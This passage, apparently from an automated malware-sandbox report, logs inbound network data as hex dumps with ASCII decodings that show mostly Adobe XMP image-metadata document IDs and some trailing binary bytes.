9 3e 78 6d 70 2e 64 69 64 3a 32 45 31 41 31 34 30 31 30 37 32 33 36 38 31 31 42 44 33 35 39 32 31 36 34 43 37 30 37 
30 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 45 33 37 31 43 45 35 41 36 
32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 32 45 34 34 33 34 34 31 30 43 32 30 36 38 31 31 
Data Ascii: mp.did:2DE4B3F2FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:2E18327F1F20681192B0EAB
2D97D2F0C</rdf:li> <rdf:li>xmp.did:2E1A140107236811BD3592164C70701D</rdf:li> <rdf:li>xmp.did:2E371CE
5A6226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:2E4434410C206811

2022-08-11 03:42:55 UTC 7496 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 41 31 32 42 46 41 31 34 32 30 
36 38 31 31 41 42 30 38 45 36 46 39 33 33 35 30 32 34 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 33 33 41 34 43 30 41 41 30 30 45 41 45 30 31 31 41 38 42 44 44 43 38 44 34 36 39 34 30 35 43 42 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 42 30 39 35 31 43 30 31 32 33 36 
38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 33 33 43 35 33 39 35 35 30 41 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
Data Ascii: df:li> <rdf:li>xmp.did:33A12BFA14206811AB08E6F9335024B2</rdf:li> <rdf:li>xmp.did:33A4C0AA00EAE011A
8BDDC8D469405CB</rdf:li> <rdf:li>xmp.did:33B0951C01236811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:3
3C539550A2068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:

2022-08-11 03:42:55 UTC 7512 IN Data Raw: 30 36 38 31 31 38 38 43 36 45 41 37 36 37 38 41 32 34 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 45 33 41 32 37 31 42 45 32 30 36 38 31 31 39 37 41 35 44 36 36 30 44 30 41 32 
46 44 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 63 39 34 39 61 62 2d 
33 35 38 34 2d 34 31 64 31 2d 62 65 61 36 2d 31 38 66 65 32 39 35 61 65 62 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 65 31 31 38 64 31 2d 64 61 66 36 2d 34 66 63 33 2d 61 31 66 66 2d 39 
30 66 35 62 64 64 32 30 62 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 32 
30 34 63 39 38 38 2d 63 39 65 32 2d 34 32 62 35 2d 39 32 35 64 2d 34 37 
Data Ascii: 0681188C6EA7678A2413B</rdf:li> <rdf:li>xmp.did:41E3A271BE20681197A5D660D0A2FD53</rdf:li> <rdf:li>x
mp.did:41c949ab-3584-41d1-bea6-18fe295aeb05</rdf:li> <rdf:li>xmp.did:41e118d1-daf6-4fc3-a1ff-90f5bdd20b08</rdf:li> 
<rdf:li>xmp.did:4204c988-c9e2-42b5-925d-47

2022-08-11 03:42:55 UTC 7528 IN Data Raw: 38 42 43 33 35 30 33 39 32 30 36 38 31 31 38 32 32 41 45 31 45 44 34 31 30 44 31 34 35 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 41 37 39 30 43 37 30 38 32 30 36 38 31 31 39 35 
42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 35 31 41 45 36 43 41 41 31 34 38 39 45 31 31 31 38 43 38 34 38 32 41 41 32 46 30 39 44 36 33 33 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 41 46 34 42 34 30 33 41 32 33 36 38 31 31 38 37 31 46 
38 39 34 44 38 46 42 33 35 42 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 
31 43 31 39 34 38 41 38 45 46 35 44 46 31 31 38 43 38 42 39 45 44 42 30 
Data Ascii: 8BC35039206811822AE1ED410D1453</rdf:li> <rdf:li>xmp.did:51A790C70820681195BB8E2D99A676D6
</rdf:li> <rdf:li>xmp.did:51AE6CAA1489E1118C8482AA2F09D633</rdf:li> <rdf:li>xmp.did:51AF4B403A236811
871F894D8FB35BFB</rdf:li> <rdf:li>xmp.did:51C1948A8EF5DF118C8B9EDB0

2022-08-11 03:42:55 UTC 7536 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 39 35 32 45 34 39 45 36 38 46 44 44 
46 31 31 38 45 45 43 38 45 34 43 37 42 46 38 35 43 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 35 39 35 32 61 32 38 31 2d 30 33 62 61 2d 63 37 34 61 2d 61 39 34 34 2d 36 39 32 61 62 62 33 38 31 
31 32 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 39 35 61 63 31 37 65 2d 30 
30 37 38 2d 34 36 63 35 2d 38 61 30 38 2d 65 37 64 35 66 38 37 39 34 39 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 39 37 34 45 37 43 31 37 31 31 39 44 45 31 31 41 32 45 43 43 43 30 36 35 45 
41 35 46 38 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
Data Ascii: f:li> <rdf:li>xmp.did:5952E49E68FDDF118EEC8E4C7BF85C44</rdf:li> <rdf:li>xmp.did:5952a281-03ba-c74a-
a944-692abb38112a</rdf:li> <rdf:li>xmp.did:595ac17e-0078-46c5-8a08-e7d5f8794948</rdf:li> <rdf:li>xmp.did:5974
E7C17119DE11A2ECCC065EA5F877</rdf:li> <rdf:li>x
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2022-08-11 03:42:55 UTC 7552 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 36 38 36 43 46 44 45 31 33 30 32 30 36 38 31 31 39 35 46 45 44 38 42 44 46 
38 34 31 43 37 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 38 31 35 34 
45 36 31 36 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 38 37 43 31 42 30 44 45 32 30 36 38 31 31 39 31 30 39 46 45 39 45 38 32 
38 34 31 32 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 38 42 33 36 41 
30 30 37 32 30 36 38 31 31 39 32 42 30 44 45 36 45 32 32 44 33 34 44 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 38 38 45 35 41 38 44 31 35 32 30 36 
Data Ascii: i>xmp.did:686CFDE13020681195FED8BDF841C77D</rdf:li> <rdf:li>xmp.did:688154E6162068118083
D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:6887C1B0DE2068119109FE9E82841250</rdf:li> <rdf:li>xmp.did:688B
36A00720681192B0DE6E22D34D0A</rdf:li> <rdf:li>xmp.did:688E5A8D15206

2022-08-11 03:42:55 UTC 7556 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 36 43 36 44 45 34 35 34 35 42 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 
35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 43 37 38 34 42 
45 33 35 38 32 37 36 38 31 31 39 39 45 37 43 41 38 34 43 38 30 30 42 30 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 43 38 34 46 39 32 44 31 38 36 38 44 46 31 31 42 38 34 42 43 41 37 30 30 30 
30 41 31 39 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 43 39 45 39 35 43 
38 34 32 44 43 45 30 31 31 38 44 41 42 44 36 32 32 30 44 44 41 34 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 43 42 36 39 34 35 41 31 34 32 30 36 
Data Ascii: i>xmp.did:6C6DE4545B206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:6C784BE35827681199E7
CA84C800B0C4</rdf:li> <rdf:li>xmp.did:6C84F92D1868DF11B84BCA70000A1917</rdf:li> <rdf:li>xmp.did:6C9E
95C842DCE0118DABD6220DDA49C7</rdf:li> <rdf:li>xmp.did:6CB6945A14206

2022-08-11 03:42:55 UTC 7572 IN Data Raw: 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 43 31 30 41 39 44 30 39 35 33 36 45 33 31 31 41 44 35 45 44 38 38 36 31 42 32 
39 42 37 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 43 32 34 32 39 34 45 
32 35 32 30 36 38 31 31 41 39 36 31 45 38 46 46 38 32 42 38 31 43 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 78 6d 70 2e 64 69 64 3a 37 43 34 36 39 41 42 45 37 42 32 30 36 38 31 31 38 44 42 42 39 34 39 39 39 37 32 38 
32 37 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 43 36 39 30 44 33 38 36 
31 32 32 36 38 31 31 38 41 36 44 46 36 30 45 46 37 31 30 31 39 45 37 3c 
Data Ascii: 2068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:7C10A9D09536E311AD5ED8861B29B79A</rdf:li> 
<rdf:li>xmp.did:7C24294E25206811A961E8FF82B81CE1</rdf:li> <rdf:li>xmp.did:7C469ABE7B2068118DBB9499
972827B4</rdf:li> <rdf:li>xmp.did:7C690D38612268118A6DF60EF71019E7<

2022-08-11 03:42:55 UTC 7588 IN Data Raw: 38 31 31 38 30 38 33 43 37 45 39 41 42 30 44 33 33 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 38 41 36 44 44 32 32 32 31 38 32 30 36 38 31 31 39 32 42 30 39 44 43 44 33 35 32 31 38 41 
41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 41 37 37 42 36 35 38 42 43 44 
33 44 45 31 31 38 32 30 35 41 44 35 39 31 42 44 34 43 42 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 7
8 6d 70 2e 64 69 64 3a 38 41 37 44 32 35 38 31 30 41 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 
45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 41 38 31 37 41 39 33 35 46 34 38 
45 31 31 31 39 39 38 31 42 32 36 33 39 36 38 31 31 42 33 32 3c 2f 72 64 
Data Ascii: 8118083C7E9AB0D332A</rdf:li> <rdf:li>xmp.did:8A6DD2221820681192B09DCD35218AAA</rdf:li> <
rdf:li>xmp.did:8A77B658BCD3DE118205AD591BD4CB4E</rdf:li> <rdf:li>xmp.did:8A7D25810A2068118A6DC638F9F
C95EE</rdf:li> <rdf:li>xmp.did:8A817A935F48E1119981B26396811B32</rd

2022-08-11 03:42:55 UTC 7596 IN Data Raw: 30 33 32 45 34 38 34 33 45 37 33 31 31 45 37 38 45 32 38 45 31 30 38 36 46 35 31 33 36 36 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 34 46 44 41 32 44 30 42 32 30 36 38 31 31 42 34 
42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 39 30 35 41 36 38 42 45 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 38 41 39 38 35 39 30 30 34 35 45 34 31 31 39 38 31 
45 41 30 41 45 32 30 38 44 41 42 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
39 30 39 32 44 37 37 30 30 45 32 30 36 38 31 31 39 33 30 41 42 37 45 41 
Data Ascii: 032E4843E7311E78E28E1086F513663</rdf:li> <rdf:li>xmp.did:904FDA2D0B206811B4BCC2A8EBC7813
5</rdf:li> <rdf:li>xmp.did:905A68BE0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:908A98590045E41
1981EA0AE208DAB86</rdf:li> <rdf:li>xmp.did:9092D7700E206811930AB7EA

2022-08-11 03:42:55 UTC 7612 IN Data Raw: 34 38 39 39 30 46 42 34 34 38 33 43 44 35 33 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 41 30 39 45 43 39 32 37 33 39 32 35 36 38 31 31 38 30 38 33 43 44 30 41 42 33 37 37 31 45 34 46 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 41 44 45 35 46 44 35 45 42 31 45 
30 31 31 39 46 41 31 43 35 45 43 31 44 31 30 41 31 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 41 30 42 33 30 38 43 39 33 38 32 30 36 38 31 31 41 37 42 41 43 35 36 42 46 44 39 33 39 30 30 33 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 43 31 32 34 39 35 30 41 32 30 36 38 
31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 
Data Ascii: 48990FB4483CD5314</rdf:li> <rdf:li>xmp.did:A09EC927392568118083CD0AB3771E4F</rdf:li> <rdf:li>xmp.d
id:A0ADE5FD5EB1E0119FA1C5EC1D10A162</rdf:li> <rdf:li>xmp.did:A0B308C938206811A7BAC56BFD939003</rdf:li> 
<rdf:li>xmp.did:A0C124950A206811B4BCC2A8EBC78135</rdf:

2022-08-11 03:42:55 UTC 7628 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 38 41 30 34 46 35 34 32 31 32 30 36 38 31 31 
38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 42 38 42 38 31 38 42 46 30 46 32 30 36 38 31 31 38 41 36 44 46 36 42 33 36 41 33 44 44 38 44 45 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 38 42 42 42 34 43 38 42 38 46 37 45 31 31 31 38 
34 31 45 39 30 42 39 34 39 31 42 38 43 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 42 38 45 38 36 39 36 38 32 42 32 30 36 38 31 31 41 46 43 39 43 31 36 31 39 33 38 42 36 46 38 41 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 38 45 46 
Data Ascii: i> <rdf:li>xmp.did:B8A04F542120681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:B8B818BF0F2
068118A6DF6B36A3DD8DE</rdf:li> <rdf:li>xmp.did:B8BBB4C8B8F7E111841E90B9491B8C96</rdf:li> <rdf:li>xmp
.did:B8E869682B206811AFC9C161938B6F8A</rdf:li> <rdf:li>xmp.did:B8EF

2022-08-11 03:42:55 UTC 7636 IN Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 33 41 46 35 37 39 30 34 43 32 30 36 38 31 31 41 46 46 44 46 41 
39 44 36 37 39 37 37 43 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 33 44 
30 36 44 37 45 30 37 32 30 36 38 31 31 38 30 38 33 46 35 35 46 35 39 37 32 45 46 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 33 46 38 32 37 38 39 34 38 31 36 45 30 31 31 39 30 38 43 41 37 31 
41 39 44 36 36 41 35 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 34 32 33 
44 43 33 42 33 31 32 30 36 38 31 31 41 46 46 44 38 36 43 31 32 37 44 41 30 35 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 34 32 35 30 39 36 35 31 34 
Data Ascii: f:li>xmp.did:C3AF57904C206811AFFDFA9D67977CB5</rdf:li> <rdf:li>xmp.did:C3D06D7E072068118
083F55F5972EF96</rdf:li> <rdf:li>xmp.did:C3F827894816E011908CA71A9D66A587</rdf:li> <rdf:li>xmp.did:C
423DC3B31206811AFFD86C127DA0516</rdf:li> <rdf:li>xmp.did:C425096514

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 134 of 310



2022-08-11 03:42:55 UTC 7652 IN Data Raw: 70 2e 64 69 64 3a 44 38 33 30 39 34 46 41 42 45 32 31 36 38 31 31 38 41 36 44 45 33 32 44 43 45 37 38 35 
34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 38 33 32 42 39 39 30 43 35 
32 31 36 38 31 31 38 41 36 44 43 33 36 41 39 35 36 43 37 37 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 44 38 34 38 46 34 35 31 46 36 32 36 36 38 31 31 38 43 31 34 46 31 45 38 34 42 43 43 43 39 
45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 38 34 41 33 42 31 36 39 32 32 
31 36 38 31 31 39 39 31 41 38 38 37 43 43 46 37 36 35 39 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 44 38 36 45 32 37 44 41 31 45 32 30 36 38 31 31 38 
Data Ascii: p.did:D83094FABE2168118A6DE32DCE785405</rdf:li> <rdf:li>xmp.did:D832B990C52168118A6DC36A
956C7715</rdf:li> <rdf:li>xmp.did:D848F451F62668118C14F1E84BCCC9EA</rdf:li> <rdf:li>xmp.did:D84A3B16
92216811991A887CCF76598C</rdf:li> <rdf:li>xmp.did:D86E27DA1E2068118

2022-08-11 03:42:55 UTC 7655 IN Data Raw: 39 32 35 44 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 44 46 32 
30 42 36 39 44 37 44 46 31 31 45 30 42 36 41 42 44 45 34 30 46 42 42 35 36 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 45 31 32 44 42 37 43 38 37 32 30 36 38 31 31 38 32 33 46 44 31 34 44 
45 32 43 38 43 38 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 45 32 36 34 3
3 36 45 38 43 32 30 36 38 31 31 38 44 42 42 42 34 31 31 33 36 44 30 39 33 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 45 32 38 34 31 32 31 35 38 46 39 45 30 31 31 42 34 39 46 44 33 31 32 32 
44 45 31 38 45 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 925D0D</rdf:li> <rdf:li>xmp.did:DDF20B69D7DF11E0B6ABDE40FBB56844</rdf:li> <rdf:li>xmp.di
d:DE12DB7C87206811823FD14DE2C8C875</rdf:li> <rdf:li>xmp.did:DE26436E8C2068118DBBB41136D093D0</rdf:li> 
<rdf:li>xmp.did:DE28412158F9E011B49FD3122DE18E02</rdf:li> <rdf:li

2022-08-11 03:42:55 UTC 7671 IN Data Raw: 64 69 64 3a 46 37 35 44 39 31 38 41 31 31 32 30 36 38 31 31 39 32 42 30 38 42 45 45 32 39 43 37 35 44 44 
32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 36 32 37 45 35 41 45 30 46 45 
45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 46 37 36 45 38 44 35 46 43 37 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 
38 31 31 38 30 38 33 39 38 44 45 33 46 38 41 32 33 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 
Data Ascii: did:F75D918A1120681192B08BEE29C75DD2</rdf:li> <rdf:li>xmp.did:F7627E5AE0FEE011BA018105BC
4ECC83</rdf:li> <rdf:li>xmp.did:F76E8D5FC72068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:F77F117407
206811808398DE3F8A2385</rdf:li> <rdf:li>xmp.did:F77F117407206811808

2022-08-11 03:42:55 UTC 7687 IN Data Raw: 32 31 41 33 32 35 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 
37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 38 32 31 32 42 44 33 38 43 44 33 33 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 45 36 
46 42 38 37 45 33 35 36 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 4
6 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 43 46 36 43 35 45 42 38 42 42 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 31 33 46 
34 36 33 39 41 32 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: 21A325EA</rdf:li> <rdf:li>xmp.did:FC7F1174072068118C148212BD38CD33</rdf:li> <rdf:li>xmp.did:FC7F11
74072068118C14E6FB87E356FF</rdf:li> <rdf:li>xmp.did:FC7F1174072068118F62CF6C5EB8BB62</rdf:li> <rdf:l
i>xmp.did:FC7F1174072068119109D13F4639A231</rdf:li> <rdf:

2022-08-11 03:42:55 UTC 7695 IN Data Raw: 61 62 38 66 66 38 64 65 65 36 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 61 38 34 64 39 32 32 32 2d 37 63 66 34 2d 61 63 34 63 2d 61 36 65 39 2d 38 64 30 39 38 61 62 36 35 35 33 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 38 35 33 32 65 62 65 2d 62 34 31 32 2d 
34 37 34 36 2d 39 35 30 62 2d 32 65 31 31 64 66 33 66 66 34 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 61 38 36 36 30 37 39 35 2d 66 35 31 38 2d 34 30 31 63 2d 39 65 62 35 2d 62 65 66 61 64 35 
63 62 62 31 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 61 38 39 39 33 37 66 
39 2d 34 36 61 64 2d 30 64 34 33 2d 62 32 38 30 2d 33 64 34 31 34 37 62 
Data Ascii: ab8ff8dee605</rdf:li> <rdf:li>xmp.did:a84d9222-7cf4-ac4c-a6e9-8d098ab65537</rdf:li> <rdf:li>xmp.di
d:a8532ebe-b412-4746-950b-2e11df3ff471</rdf:li> <rdf:li>xmp.did:a8660795-f518-401c-9eb5-befad5cbb107</rdf:li> 
<rdf:li>xmp.did:a89937f9-46ad-0d43-b280-3d4147b

2022-08-11 03:42:55 UTC 7711 IN Data Raw: 2d 31 34 65 39 37 62 65 37 30 31 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 64 38 63 62 30 64 33 62 2d 34 35 34 64 2d 34 61 37 36 2d 38 38 37 35 2d 35 39 64 62 62 31 66 30 32 32 31 63 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 38 64 61 39 30 61 61 2d 37 62 35 61 
2d 34 32 30 39 2d 62 63 34 30 2d 32 38 66 39 30 31 61 36 61 33 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 64 38 66 66 34 64 30 37 2d 65 34 32 38 2d 34 38 37 35 2d 61 66 61 64 2d 37 35 31 39 33 
31 31 33 39 38 37 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 64 39 32 33 66 32 
61 32 2d 62 38 34 33 2d 62 33 34 35 2d 62 30 32 39 2d 39 38 33 35 33 66 
Data Ascii: -14e97be70118</rdf:li> <rdf:li>xmp.did:d8cb0d3b-454d-4a76-8875-59dbb1f0221c</rdf:li> <rdf:li>xmp.d
id:d8da90aa-7b5a-4209-bc40-28f901a6a36c</rdf:li> <rdf:li>xmp.did:d8ff4d07-e428-4875-afad-75193113987a</rdf:li> 
<rdf:li>xmp.did:d923f2a2-b843-b345-b029-98353f

2022-08-11 03:42:55 UTC 7727 IN Data Raw: b9 89 a3 7f 06 04 1f db 8e 9a e4 56 e0 ce 4b e2 b5 78 a0 72 98 d2 4c 60 8e 83 82 45 03 a2 80 d9 e0 63 47 55 
b4 25 b3 cf 0b 98 97 22 35 1e 15 a7 86 3c cc b3 0d 49 ec 61 55 6d 38 3d 68 7b 8a c2 18 54 2b aa 8a 70 3c b1 f3 be 4d 
